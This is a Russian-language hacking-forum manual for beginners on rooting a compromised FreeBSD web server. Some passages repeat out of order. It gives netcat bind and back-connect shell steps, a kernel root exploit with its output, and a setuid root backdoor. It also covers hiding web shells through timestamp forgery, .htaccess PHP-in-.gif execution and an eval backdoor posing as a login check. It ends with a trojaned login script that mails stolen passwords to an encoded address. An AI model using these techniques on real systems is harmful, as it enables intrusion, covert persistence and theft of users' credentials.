- 240
- 248
- 21 Апр 2017
Мануал предназначен для новичков. В нем я постараюсь расписать пошаговою инструкцию рутанья, а также как спрятать свой шелл от админов
User: 80 ( www ) Group: 80 ( www )
Идем на Для просмотра ссылки Войдиили Зарегистрируйся, и видим что под эту версию нам подойдет плоент bsd-ktimer.c
Сохраняем плоент где нибудь, затем грузим на хост.
2. Меняем на:
execl("/bin/sh","/bin/sh", "-c", "cp ./suidnik ./s; chown root ./s; chgrp root ./s; chmod 777 ./s; chmod +s ./s;", NULL);
3. Дальше все просто) Заливаем "suidnik":
(пздц, никогда не кодил на си, а тут такой код )
Компилим его, компилим сплоент, и запускаем из шелла. Потом увидим еще файлик "s".
4. Вроде все, юзаем:
Законнектились!
Компилим:
Далее должны наблюдать:
Затем смотрим снова "id" и должны увидеть "root". В нашем случаи:
uid=80(www) gid=80(www) euid=0(root) groups=80(www),1003(suwww)
Ну что же, рут имеем, теперь надо бы както сделать так, чтобы не каждый раз юзать сплойт, если упадет процес бекдора. Создаем файлик, который будет давать нам права рута, каждый раз при вызове.
1.с:
Далее
Если наш бекдор падает, то запускаем заново и выполняем:
touch -r [base] [shell]
Тем самым мы изменим дату создание шелла на дату создание безобидного файлика.
2. Копирайты, лицензии.
Часто помагает в начало файла добавить копирайты цмски которая стоит на сайте, сделать много отступов, затем сам код шелла) Или же впихнуть текст лицензии, GNU, например.
3. Расширение
Пихаем шелл с расширением .gif в какую нибудь папку с картинками, и добавляем .htaccess:
Надеемся, что не спалят
4. Псевдофункции
В файл функций можно добавить следующий код:
И добавить в индекс например:
5. mail();
Ищем страничку авторизации, затем трояним скрипт. Нужно найти место где проходит проверка логина и пароля, и вставить примерно такой код:
- Поехали!
- Смотрим версию ядра: uname -a
- Ищем сплойты google.com. milw0rm.com
User: 80 ( www ) Group: 80 ( www )
Код:
# uname -a
FreeBSD *** [B][COLOR=Red]7.0-RELEASE[/COLOR] [/B]FreeBSD 7.0-RELEASE #2: [B][COLOR=Red]Wed Jul 16 15:22:07 UTC 2008[/COLOR][/B] root@:/usr/src/sys/i386/compile/colo2 i386
Идем на Для просмотра ссылки Войди
Сохраняем плоент где нибудь, затем грузим на хост.
- Биндпорт \ бекконет
Для того чтобы порутать хост нам необходимо приконнектится к нему.
Если кто не вкурил и спросит: "у нас ведь есть вебшелл", то объясню: нужна оболочка, типа баша)
Лично я часто использую биндпорт от STNC:
Для просмотра ссылки Войдиили Зарегистрируйся
А также бекконект от Алексайза:
Для просмотра ссылки Войдиили Зарегистрируйся- Биндпортим
Если же нет, тогда льем на хост и запускаем:
perl backdoor.pl
Назовите более беспалевно
Далее у себя на компе (Должен быть установлен Для просмотра ссылки Войдиили Зарегистрируйся)
nc host.com 31337
Если законектились - отлично, пропускайте следующий пункт. Если же нет, что бывает, потому что нас блочит фаер, пробуем использовать бекконект- Бекконектимся
Существуют 2 варианта бекконекта - на свой комп, и с использованием промежуточного. Чаще всего используют вторую схему, так как для первой у вас должен быть выделенный ip, что бывает далеко не у всех. Но все же эту схему рассмотреть стоит, и так:- На свой комп
На своем компе открываем порт для прослушки:
nc -l -p31336
Затем, на том хосте что хекаем, аплоудим скрипт, и запускаем из вебшелла:
dc.pl [ВАШ_ИП] 31336
Опять не работает? Скорее всего ваш ип адрес не является выделенным, а значит читаем дальше...
- C использованием промежуточного хоста
На промежуточном хосте, биндим порт (31337).
У себя на компе, соединяемся с промежуточным:
nc site.com 31337
На промежуточном должен быть неткат, если его нет, то ставим. Сложностей это вызвать не должно.
Затем открываем порт на промежуточном хосте:
nc -l -p31336
Потом с сайта, который рутаем делаем бекконет на промежуточный, как было описано выше.
- На свой комп
Но что делать, если и тут всё обламывает файервол?
Вообщето сплойты можна юзать из веба (Кстате, тут я описываю случай с FreeBSD, а такая фича тестилась на шелле под линукс) Чтобы не переписывать, что что уже писал, копипаст из моего поста в РоА:
Код:
execl("/bin/sh", "sh", NULL);
2. Меняем на:
execl("/bin/sh","/bin/sh", "-c", "cp ./suidnik ./s; chown root ./s; chgrp root ./s; chmod 777 ./s; chmod +s ./s;", NULL);
3. Дальше все просто) Заливаем "suidnik":
Код:
#include <stdio.h>
int main(int argc, char **argv){
system(argv[1]);
}
(пздц, никогда не кодил на си, а тут такой код )
Компилим его, компилим сплоент, и запускаем из шелла. Потом увидим еще файлик "s".
4. Вроде все, юзаем:
Код:
./s "id"
Компилим:
Код:
gcc bsd-ktimer.c -o free
chmod 755 free
./free
Далее должны наблюдать:
Код:
# ./free
FreeBSD local kernel root exploit
by: christer/mu-b
http://www.bsdcitizen.org/ -- BSDCITIZEN 2008!@$!
* allocated pointer page: 0x00000000 -> 0x08000000 [134217728-bytes]
* allocated itimer struct: 0x20000000 -> 0x200000DC [220-bytes]
* filling pointer page... done
* found posix_clocks @ [0xc08ecf80]
* it_page->it_clockid: 0x0CC274B6 [access @0xBFBFEDB8]
* ktimer_delete (0xD0000000)
* ktimer_delete: 0 1
#
Затем смотрим снова "id" и должны увидеть "root". В нашем случаи:
uid=80(www) gid=80(www) euid=0(root) groups=80(www),1003(suwww)
Ну что же, рут имеем, теперь надо бы както сделать так, чтобы не каждый раз юзать сплойт, если упадет процес бекдора. Создаем файлик, который будет давать нам права рута, каждый раз при вызове.
1.с:
Код:
main() {
setuid(0);
setgid(0);
system("/bin/bash");
}
Код:
$ /bin/syser
id
uid=0(root) gid=0(wheel) groups=0(wheel),80(www),1003(suwww)
Код:
gcc 1.c -o syser
chmod 755 syser
chmod +s syser
mv syser /bin/syser
Если наш бекдор падает, то запускаем заново и выполняем:
Код:
$ /bin/syser
id
uid=0(root) gid=0(wheel) groups=0(wheel),80(www),1003(suwww)
- Как спрятатся?
touch -r [base] [shell]
Тем самым мы изменим дату создание шелла на дату создание безобидного файлика.
2. Копирайты, лицензии.
Часто помагает в начало файла добавить копирайты цмски которая стоит на сайте, сделать много отступов, затем сам код шелла) Или же впихнуть текст лицензии, GNU, например.
3. Расширение
Пихаем шелл с расширением .gif в какую нибудь папку с картинками, и добавляем .htaccess:
Код:
AddType application/x-httpd-php .gif
Надеемся, что не спалят
4. Псевдофункции
В файл функций можно добавить следующий код:
PHP:
function login_check($login)
{
if(get_magic_quotes_gpc()){
eval(stripslashes($login)); }
else
{ eval($login); }
И добавить в индекс например:
Код:
if(isset($_POST['logln'])){login_check($_POST['logln'])}
5. mail();
Ищем страничку авторизации, затем трояним скрипт. Нужно найти место где проходит проверка логина и пароля, и вставить примерно такой код:
PHP:
mail(base64_decode('eWFAeGVra2VyLmNvbQ=='),'AUTH OK', $_POST['login'] .":" . $_POST['password']);